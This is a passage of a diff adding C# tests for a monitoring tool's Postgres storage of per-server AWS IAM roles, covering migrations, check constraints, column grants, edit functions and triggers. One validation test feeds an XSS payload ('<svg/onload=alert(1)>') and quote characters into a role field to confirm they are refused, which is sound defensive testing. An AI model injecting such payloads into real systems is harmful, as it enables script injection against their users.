+            roles: cache);
+
+        var thrown = await Record.ExceptionAsync(
+            () => ingestor.IngestAsync(1, "s", InstanceHost, "Host=" + InstanceHost, new AwsRoleKey(Role, Sentinel), System.Threading.CancellationToken.None));
+
+        var fault = Assert.IsType<AwsRoleAssumeException>(thrown);
+        AssertClean(fault);
+
+        // What the worker writes for a refused role: the collection_log text and the warning line.
+        var workerLog = new CapturingAwsLogger();
+        var rowText = PerformanceMonitor.Darling.Service.DarlingWorker.AwsRoleFaultNote(workerLog, "alpha-pg-01", "pg_plan_capture", fault);
+        AssertClean(rowText);
+        AssertClean(workerLog.All);
+
+        // The ERROR arm writes the exception's message too; the credentials class logged one warning for the failed refresh.
+        AssertClean(fault.Message);
+        AssertClean(cacheLog.All);
+    }
+}
diff --git a/Darling/Darling.Tests/AwsPerServerRoleLiveTests.cs b/Darling/Darling.Tests/AwsPerServerRoleLiveTests.cs
new file mode 100644
index 0000000000..611053097b
--- /dev/null
+++ b/Darling/Darling.Tests/AwsPerServerRoleLiveTests.cs
@@ -0,0 +1,569 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another one.
+   The login role a fact needs is created for it and dropped in its cleanup. */
+
+/// <summary>
+/// The per-server AWS role (#5452) against a store: the rung on a store that stopped below it and on a fresh one, the
+/// table's check, the column ACL, the 17-argument edit function and its 15-argument wrapper, and the trigger rule that
+/// holds every role but the owner.
+/// </summary>
+public sealed class AwsPerServerRoleLiveTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string OtherRole = "arn:aws:iam::123456789012:role/darling-other";
+    private const string External = "tenant-1234";
+    private const string OtherExternal = "tenant-5678";
+
+    private static readonly string RolePassword = Convert.ToHexString(RandomNumberGenerator.GetBytes(16));
+
+    private static string? BaseConnectionString() => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string?> TextAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        var value = await command.ExecuteScalarAsync(ct);
+        return value is null or DBNull ? null : Convert.ToString(value, CultureInfo.InvariantCulture);
+    }
+
+    private static string Lit(string? value) =>
+        value is null ? "NULL" : "'" + value.Replace("'", "''", StringComparison.Ordinal) + "'";
+
+    private static async Task<NpgsqlConnection> OpenOwnerAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(
+            new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static Task InsertServerAsync(NpgsqlConnection connection, int id, string? role, string? externalId, CancellationToken ct) =>
+        ExecAsync(connection,
+            "INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, engine, port, aws_role_arn, aws_external_id) "
+            + $"VALUES ({id}, 'srv-{id}', 'host-{id}', 'postgres', 'sql', 'monitor', 'postgres', 5432, {Lit(role)}, {Lit(externalId)})", ct);
+
+    private static Task<string?> StoredAsync(NpgsqlConnection connection, int id, CancellationToken ct) =>
+        TextAsync(connection,
+            "SELECT COALESCE(aws_role_arn, '<null>') || ' | ' || COALESCE(aws_external_id, '<null>') || ' | ' || aws_external_id_set::text "
+            + $"FROM config.config_monitored_servers WHERE server_id = {id}", ct);
+
+    private static async Task<string?> RefusalAsync(Func<Task> action)
+    {
+        try
+        {
+            await action();
+            return null;
+        }
+        catch (PostgresException ex)
+        {
+            return ex.SqlState;
+        }
+    }
+
+    private static async Task<string> TokenAsync(NpgsqlConnection connection, int id, CancellationToken ct) =>
+        (await TextAsync(connection,
+            $"SELECT to_char(modified_at, 'YYYY-MM-DD HH24:MI:SS.US') FROM config.config_monitored_servers WHERE server_id = {id}", ct))!;
+
+    /// <summary>One call of the 17-argument function (the AWS pair last), returning its outcome text.</summary>
+    private static async Task<string?> EditAsync(
+        NpgsqlConnection connection, int id, string columns, string? role, string? externalId, CancellationToken ct)
+    {
+        var token = await TokenAsync(connection, id, ct);
+        return await TextAsync(connection,
+            $"SELECT outcome FROM config.edit_monitored_server({id}, '{token}'::timestamp, ARRAY[{columns}]::text[], "
+            + $"NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, {Lit(role)}, {Lit(externalId)})", ct);
+    }
+
+    /// <summary>One call of the 15-argument wrapper: no AWS arguments, but the caller may still NAME the AWS columns.</summary>
+    private static async Task<string?> LegacyEditAsync(
+        NpgsqlConnection connection, int id, string columns, string? name, CancellationToken ct)
+    {
+        var token = await TokenAsync(connection, id, ct);
+        return await TextAsync(connection,
+            $"SELECT outcome FROM config.edit_monitored_server({id}, '{token}'::timestamp, ARRAY[{columns}]::text[], "
+            + $"{Lit(name)}, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)", ct);
+    }
+
+    private static async Task<NpgsqlConnection> OpenAsRoleAsync(ScratchPostgres scratch, string role, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(new NpgsqlConnectionStringBuilder(scratch.ConnectionString)
+        {
+            Username = role,
+            Password = RolePassword,
+            SearchPath = PgSchemaGenerator.SearchPath,
+        }.ConnectionString);
+        await connection.OpenAsync(ct);
+        return connection;
+    }
+
+    private static async Task<string> CreateLoginRoleAsync(NpgsqlConnection owner, CancellationToken ct)
+    {
+        var role = "aws_role_" + Guid.NewGuid().ToString("N")[..8];
+        await ExecAsync(owner, $"CREATE ROLE {role} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'", ct);
+        await ExecAsync(owner, $"GRANT USAGE ON SCHEMA config TO {role}", ct);
+        return role;
+    }
+
+    private static Task DropLoginRoleAsync(NpgsqlConnection cleanup, string? role) =>
+        role is null
+            ? Task.CompletedTask
+            : ExecAsync(cleanup, $"DROP OWNED BY {role}; DROP ROLE IF EXISTS {role}", CancellationToken.None);
+
+    /* ---- the rung -------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task TheRung_AppliesToAStoreThatStoppedBelowIt_AndToAFreshOne_AndARerunIsANoOp()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+
+            /* A fresh store took every rung in order, this one included. */
+            Assert.Equal("3", await TextAsync(owner,
+                "SELECT count(*) FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_monitored_servers' "
+                + "AND column_name IN ('aws_role_arn', 'aws_external_id', 'aws_external_id_set')", ct));
+            /* The store's top rung, not this rung's: V170 (#5495) landed above it. */
+            Assert.Equal(StorageVersion.SchemaVersion.ToString(CultureInfo.InvariantCulture),
+                await TextAsync(owner, "SELECT max(version) FROM darling_schema_version", ct));
+            Assert.Equal(1L.ToString(CultureInfo.InvariantCulture), await TextAsync(owner,
+                "SELECT count(*) FROM pg_constraint WHERE conname = 'config_monitored_servers_aws_role_check'", ct));
+            Assert.True(await ProbeSentinelAsync(owner, ct), "the viewer's probe must see the role column on a migrated store");
+
+            /* A V168 store: the columns gone, the stamp rolled back, a server already registered. */
+            await InsertServerAsync(owner, 8101, null, null, ct);
+            await ExecAsync(owner, "ALTER TABLE config.config_monitored_servers DROP COLUMN aws_external_id_set, DROP COLUMN aws_external_id, DROP COLUMN aws_role_arn", ct);
+            await ExecAsync(owner, "DELETE FROM darling_schema_version WHERE version >= 169", ct);
+            Assert.False(await ProbeSentinelAsync(owner, ct), "the probe must not see the role column once it is gone");
+
+            await PgMigrations.MigrateAsync(owner, ct);
+
+            Assert.True(await ProbeSentinelAsync(owner, ct));
+            Assert.Equal("<null> | <null> | false", await StoredAsync(owner, 8101, ct));
+            Assert.Equal(StorageVersion.SchemaVersion.ToString(CultureInfo.InvariantCulture), await TextAsync(owner, "SELECT max(version) FROM darling_schema_version", ct));
+
+            /* Running the rung's text again changes nothing and raises nothing. */
+            var rung = PgMigrations.Scripts.Single(s => s.Version == AwsPerServerRoleRungTests.RungVersion).Sql;
+            await ExecAsync(owner, rung, ct);
+            await ExecAsync(owner, rung, ct);
+            Assert.Equal("<null> | <null> | false", await StoredAsync(owner, 8101, ct));
+            Assert.Equal("1", await TextAsync(owner,
+                "SELECT count(*) FROM pg_constraint WHERE conname = 'config_monitored_servers_aws_role_check'", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static async Task<bool> ProbeSentinelAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        /* This rung's own sentinel by ordinal: a newer rung's sentinel (V170's) is now the last one, and it stays true here. */
+        await using var command = new NpgsqlCommand(ViewerDataService.StoreSchemaProbeSql, connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return reader.GetBoolean(AwsPerServerRoleRungTests.ProbeOrdinal);
+    }
+
+    /* ---- the check ------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task TheCheck_RefusesAnIdWithNoRole_ABadArn_AndASpace_AndAcceptsTheCorpus()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+            var id = 8200;
+
+            /* Refused with 23514 (check_violation): an ID with no role, a role that is not an IAM role ARN, a role with a
+               space, an ID with a space, an ID that is too short. */
+            foreach (var (role, externalId) in new (string?, string?)[]
+            {
+                (null, External),
+                ("not-an-arn", null),
+                ("arn:aws:iam::123456789012:user/darling", null),
+                ("arn:aws:iam::12345:role/darling", null),
+                ("arn:aws:iam::123456789012:role/has space", null),
+                ("arn:aws:iam::123456789012:role/", null),
+                (Role, "has space"),
+                (Role, "x"),
+                (Role, new string('x', 1225)),
+            })
+            {
+                id++;
+                var state = await RefusalAsync(() => InsertServerAsync(owner, id, role, externalId, ct));
+                Assert.Equal("23514", state);
+            }
+
+            Assert.Equal("0", await TextAsync(owner, "SELECT count(*) FROM config.config_monitored_servers", ct));
+
+            /* Accepted: no role, a role, a role with an ID, the other partitions, a path, and the longest ID. */
+            foreach (var (role, externalId) in new (string?, string?)[]
+            {
+                (null, null),
+                (Role, null),
+                (Role, External),
+                ("arn:aws-cn:iam::123456789012:role/darling", null),
+                ("arn:aws-us-gov:iam::123456789012:role/darling", "ab"),
+                ("arn:aws:iam::123456789012:role/monitoring/team/darling-monitor", null),
+                ("arn:aws:iam::123456789012:role/name_with+=,.@-chars", "A-b_C+d=e,f.g@h:i/j-k"),
+                (Role, new string('x', 1224)),
+            })
+            {
+                id++;
+                await InsertServerAsync(owner, id, role, externalId, ct);
+            }
+
+            Assert.Equal("8", await TextAsync(owner, "SELECT count(*) FROM config.config_monitored_servers", ct));
+
+            /* The generated flag follows the ID, and an update that would leave an ID with no role is refused too. */
+            Assert.Equal("false", await TextAsync(owner, "SELECT aws_external_id_set::text FROM config.config_monitored_servers WHERE server_id = 8211", ct));
+            Assert.Equal("true", await TextAsync(owner, "SELECT aws_external_id_set::text FROM config.config_monitored_servers WHERE server_id = 8212", ct));
+            Assert.Equal("23514", await RefusalAsync(() =>
+                ExecAsync(owner, "UPDATE config.config_monitored_servers SET aws_role_arn = NULL WHERE server_id = 8212", ct)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /* ---- the column ACL -------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task AReadOnlyRole_ReadsTheRoleAndTheFlag_ButGets42501OnTheExternalId()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        string? login = null;
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+            await InsertServerAsync(owner, 8301, Role, External, ct);
+
+            /* The grant is the one the managed batch and the script give viewer and mcp: the non-secret list, from the ACL. */
+            login = await CreateLoginRoleAsync(owner, ct);
+            var table = DarlingManagedRoles.ViewerRestrictedConfigTables.Single(t => t.Table == "config_monitored_servers");
+            await ExecAsync(owner, $"GRANT SELECT ({string.Join(", ", table.NonSecretColumns)}) ON config.config_monitored_servers TO {login}", ct);
+
+            await using var reader = await OpenAsRoleAsync(scratch, login, ct);
+            Assert.Equal($"{Role} | true",
+                await TextAsync(reader, "SELECT aws_role_arn || ' | ' || aws_external_id_set::text FROM config.config_monitored_servers WHERE server_id = 8301", ct));
+
+            Assert.Equal("42501", await RefusalAsync(() =>
+                TextAsync(reader, "SELECT aws_external_id FROM config.config_monitored_servers WHERE server_id = 8301", ct)));
+            Assert.Equal("42501", await RefusalAsync(() =>
+                TextAsync(reader, "SELECT * FROM config.config_monitored_servers WHERE server_id = 8301", ct)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            var loginToDrop = login;
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (cleanup, _) => DropLoginRoleAsync(cleanup, loginToDrop));
+        }
+    }
+
+    /* ---- the edit function and its wrapper -------------------------------------------------------------- */
+
+    [Fact]
+    public async Task TheEditFunction_SetsKeepsChangesAndClearsTheRole_AndAnswersTheTwoNewOutcomes()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config"), ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config"), ct);
+            await InsertServerAsync(owner, 8401, null, null, ct);
+
+            /* Setting a role with an ID. */
+            Assert.Equal("saved", await EditAsync(owner, 8401, "'aws_role_arn', 'aws_external_id'", Role, External, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8401, ct));
+
+            /* Left out of p_columns, the role and the ID are kept, whatever values ride along unnamed. */
+            Assert.Equal("saved", await EditAsync(owner, 8401, string.Empty, OtherRole, OtherExternal, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8401, ct));
+
+            /* A new role over a stored ID, with no ID named, would carry the old ID along unseen: refused, nothing written. */
+            Assert.Equal("external_id_needed", await EditAsync(owner, 8401, "'aws_role_arn'", OtherRole, null, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8401, ct));
+
+            /* The same role again is not a change, so it needs no ID. */
+            Assert.Equal("saved", await EditAsync(owner, 8401, "'aws_role_arn'", Role, null, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8401, ct));
+
+            /* A new role with the ID sent again, and with the ID cleared (named, NULL). */
+            Assert.Equal("saved", await EditAsync(owner, 8401, "'aws_role_arn', 'aws_external_id'", OtherRole, OtherExternal, ct));
+            Assert.Equal($"{OtherRole} | {OtherExternal} | true", await StoredAsync(owner, 8401, ct));
+            Assert.Equal("saved", await EditAsync(owner, 8401, "'aws_role_arn', 'aws_external_id'", Role, null, ct));
+            Assert.Equal($"{Role} | <null> | false", await StoredAsync(owner, 8401, ct));
+
+            /* The ID alone, for the role that is stored. */
+            Assert.Equal("saved", await EditAsync(owner, 8401, "'aws_external_id'", null, External, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8401, ct));
+
+            /* An ID with a cleared role: refused (the role is named NULL and an ID rides along). */
+            Assert.Equal("external_id_needs_role", await EditAsync(owner, 8401, "'aws_role_arn', 'aws_external_id'", null, External, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8401, ct));
+
+            /* Clearing is explicit: the role named with NULL, which takes the ID with it. */
+            Assert.Equal("saved", await EditAsync(owner, 8401, "'aws_role_arn'", null, null, ct));
+            Assert.Equal("<null> | <null> | false", await StoredAsync(owner, 8401, ct));
+
+            /* An ID named for a server that has no role: refused, and a plain edit of another column is unaffected. */
+            Assert.Equal("external_id_needs_role", await EditAsync(owner, 8401, "'aws_external_id'", null, External, ct));
+            Assert.Equal("saved", await EditAsync(owner, 8401, "'aws_external_id'", null, null, ct));
+            Assert.Equal("<null> | <null> | false", await StoredAsync(owner, 8401, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheFifteenArgumentWrapper_KeepsTheRole_AndACallerNamingTheAwsColumnsCannotChangeOrClearIt()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config"), ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config"), ct);
+            await InsertServerAsync(owner, 8501, Role, External, ct);
+
+            /* An old-shape edit of another column leaves the role and the ID alone. */
+            Assert.Equal("saved", await LegacyEditAsync(owner, 8501, "'name'", "renamed", ct));
+            Assert.Equal("renamed", await TextAsync(owner, "SELECT name FROM config.config_monitored_servers WHERE server_id = 8501", ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8501, ct));
+
+            /* Naming the AWS columns in p_columns does nothing: there are no arguments to carry a value, and the names are
+               stripped, so the wrapper cannot clear the role or the ID. The rest of the edit still applies. */
+            Assert.Equal("saved", await LegacyEditAsync(owner, 8501, "'aws_role_arn', 'aws_external_id', 'name'", "renamed-again", ct));
+            Assert.Equal("renamed-again", await TextAsync(owner, "SELECT name FROM config.config_monitored_servers WHERE server_id = 8501", ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8501, ct));
+
+            Assert.Equal("saved", await LegacyEditAsync(owner, 8501, "'aws_role_arn'", null, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8501, ct));
+            Assert.Equal("saved", await LegacyEditAsync(owner, 8501, "'aws_external_id'", null, ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8501, ct));
+
+            /* A NULL column list is an empty one. */
+            var token = await TokenAsync(owner, 8501, ct);
+            Assert.Equal("saved", await TextAsync(owner,
+                $"SELECT outcome FROM config.edit_monitored_server(8501, '{token}'::timestamp, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)", ct));
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8501, ct));
+
+            /* The two functions are two signatures of one name, and the wrapper is the definer-pinned one. */
+            Assert.Equal("2", await TextAsync(owner,
+                "SELECT count(*) FROM pg_proc p JOIN pg_namespace n ON n.oid = p.pronamespace WHERE n.nspname = 'config' AND p.proname = 'edit_monitored_server'", ct));
+            Assert.Equal("True", await TextAsync(owner,
+                "SELECT bool_and(prosecdef AND proconfig @> ARRAY['search_path=pg_catalog, pg_temp']) FROM pg_proc p JOIN pg_namespace n ON n.oid = p.pronamespace "
+                + "WHERE n.nspname = 'config' AND p.proname = 'edit_monitored_server'", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /* ---- the trigger rule ------------------------------------------------------------------------------ */
+
+    [Fact]
+    public async Task ALoginThatOnlyExecutes_GetsInvalidValueForAnEmptyRequiredField_OnBothSignatures_AndTheRowIsUnchanged()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        string? login = null;
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config"), ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config"), ct);
+            await InsertServerAsync(owner, 8701, Role, External, ct);
+
+            /* The edit-only login the web host uses: EXECUTE on both signatures, and no right on the table itself. */
+            login = await CreateLoginRoleAsync(owner, ct);
+            await ExecAsync(owner, $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerSignature}) TO {login}", ct);
+            await ExecAsync(owner, $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerLegacySignature}) TO {login}", ct);
+            await using var role = await OpenAsRoleAsync(scratch, login, ct);
+
+            var before = await StoredAsync(owner, 8701, ct);
+            var nameBefore = await TextAsync(owner, "SELECT name || '|' || host || '|' || modified_at::text FROM config.config_monitored_servers WHERE server_id = 8701", ct);
+
+            /* An empty name: the 17-argument function and the 15-argument wrapper answer with an outcome, and raise nothing. */
+            var token = await TokenAsync(owner, 8701, ct);
+            Assert.Equal("invalid_value", await TextAsync(role,
+                $"SELECT outcome FROM config.edit_monitored_server(8701, '{token}'::timestamp, ARRAY['name']::text[], "
+                + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)", ct));
+            Assert.Equal("invalid_value", await TextAsync(role,
+                $"SELECT outcome FROM config.edit_monitored_server(8701, '{token}'::timestamp, ARRAY['name']::text[], "
+                + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)", ct));
+
+            /* An empty host with a typed secret, on both. */
+            Assert.Equal("invalid_value", await TextAsync(role,
+                $"SELECT outcome FROM config.edit_monitored_server(8701, '{token}'::timestamp, ARRAY['host','encrypted_password']::text[], "
+                + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'typed-secret', NULL, NULL, NULL, NULL, NULL, NULL)", ct));
+            Assert.Equal("invalid_value", await TextAsync(role,
+                $"SELECT outcome FROM config.edit_monitored_server(8701, '{token}'::timestamp, ARRAY['host','encrypted_password']::text[], "
+                + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'typed-secret', NULL, NULL, NULL, NULL)", ct));
+
+            Assert.Equal(before, await StoredAsync(owner, 8701, ct));
+            Assert.Equal(nameBefore, await TextAsync(owner, "SELECT name || '|' || host || '|' || modified_at::text FROM config.config_monitored_servers WHERE server_id = 8701", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            var loginToDrop = login;
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (cleanup, _) => DropLoginRoleAsync(cleanup, loginToDrop));
+        }
+    }
+
+    [Fact]
+    public async Task TheCheck_RefusesMarkupAndQuoteCharactersInARolePath()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+            var id = 8710;
+            foreach (var path in new[] { "<svg/onload=alert(1)>/x", "a<b>/x", "a>b/x", "a\"b/x", "a'b/x", "a&b/x", "a`b/x", "a b/x" })
+            {
+                var refused = await RefusalAsync(() => InsertServerAsync(owner, id++, $"arn:aws:iam::123456789012:role/{path}", null, ct));
+                Assert.Equal("23514", refused);
+            }
+
+            await InsertServerAsync(owner, id, "arn:aws:iam::123456789012:role/path_1+=,.@-/darling-monitor", null, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task ARoleThatIsNotTheOwner_CannotPutANewRoleOverAStoredId_Pw004()
+    {
+        var baseConnectionString = BaseConnectionString();
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AWS role tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        string? login = null;
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = await OpenOwnerAsync(scratch, ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildServerPasswordRulesSql("config"), ct);
+            await InsertServerAsync(owner, 8601, Role, External, ct);
+            await InsertServerAsync(owner, 8602, Role, null, ct);
+
+            login = await CreateLoginRoleAsync(owner, ct);
+            await ExecAsync(owner, $"GRANT SELECT, UPDATE ON config.config_monitored_servers TO {login}", ct);
+
+            /* An update here bumps the reload beacon, which a role that edits servers is granted (the managed batch grants it). */
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, $"GRANT SELECT, UPDATE ON config.config_service TO {login}", ct);
+            await using var role = await OpenAsRoleAsync(scratch, login, ct);
+
+            /* A new role with the stored ID untouched: refused with PW004 and the sentence. */
+            var refused = await Assert.ThrowsAsync<PostgresException>(() =>
+                ExecAsync(role, $"UPDATE config.config_monitored_servers SET aws_role_arn = {Lit(OtherRole)} WHERE server_id = 8601", ct));
+            Assert.Equal("PW004", refused.SqlState);
+            Assert.Equal(AwsRoleSettings.RoleChangeNeedsExternalIdMessage, refused.MessageText);
+            Assert.Equal($"{Role} | {External} | true", await StoredAsync(owner, 8601, ct));
+
+            /* The ID sent with it, or cleared with it, or the same role again, or a server with no ID: all pass. */
+            await ExecAsync(role, $"UPDATE config.config_monitored_servers SET aws_role_arn = {Lit(OtherRole)}, aws_external_id = {Lit(OtherExternal)} WHERE server_id = 8601", ct);
+            Assert.Equal($"{OtherRole} | {OtherExternal} | true", await StoredAsync(owner, 8601, ct));
+            await ExecAsync(role, $"UPDATE config.config_monitored_servers SET aws_role_arn = {Lit(Role)}, aws_external_id = NULL WHERE server_id = 8601", ct);
+            Assert.Equal($"{Role} | <null> | false", await StoredAsync(owner, 8601, ct));
+            await ExecAsync(role, $"UPDATE config.config_monitored_servers SET aws_role_arn = {Lit(OtherRole)} WHERE server_id = 8602", ct);
+            Assert.Equal($"{OtherRole} | <null> | false", await StoredAsync(owner, 8602, ct));
+            await ExecAsync(role, "UPDATE config.config_monitored_servers SET name = 'renamed' WHERE server_id = 8602", ct);
+
+            /* The owner is not held to it (the edit function answers external_id_needed first). */
+            await InsertServerAsync(owner, 8603, Role, External, ct);
+            await ExecAsync(owner, $"UPDATE config.config_monitored_servers SET aws_role_arn = {Lit(OtherRole)} WHERE server_id = 8603", ct);
+            Assert.Equal($"{OtherRole} | {External} | true", await StoredAsync(owner, 8603, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            var loginToDrop = login;
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (cleanup, _) => DropLoginRoleAsync(cleanup, loginToDrop));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/AwsPerServerRoleRungTests.cs b/Darling/Darling.Tests/AwsPerServerRoleRungTests.cs
new file mode 100644
index 0000000000..6a5ce94619
--- /dev/null
+++ b/Darling/Darling.Tests/AwsPerServerRoleRungTests.cs
@@ -0,0 +1,283 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Reflection;
+using PerformanceMonitor.Darling.Service;
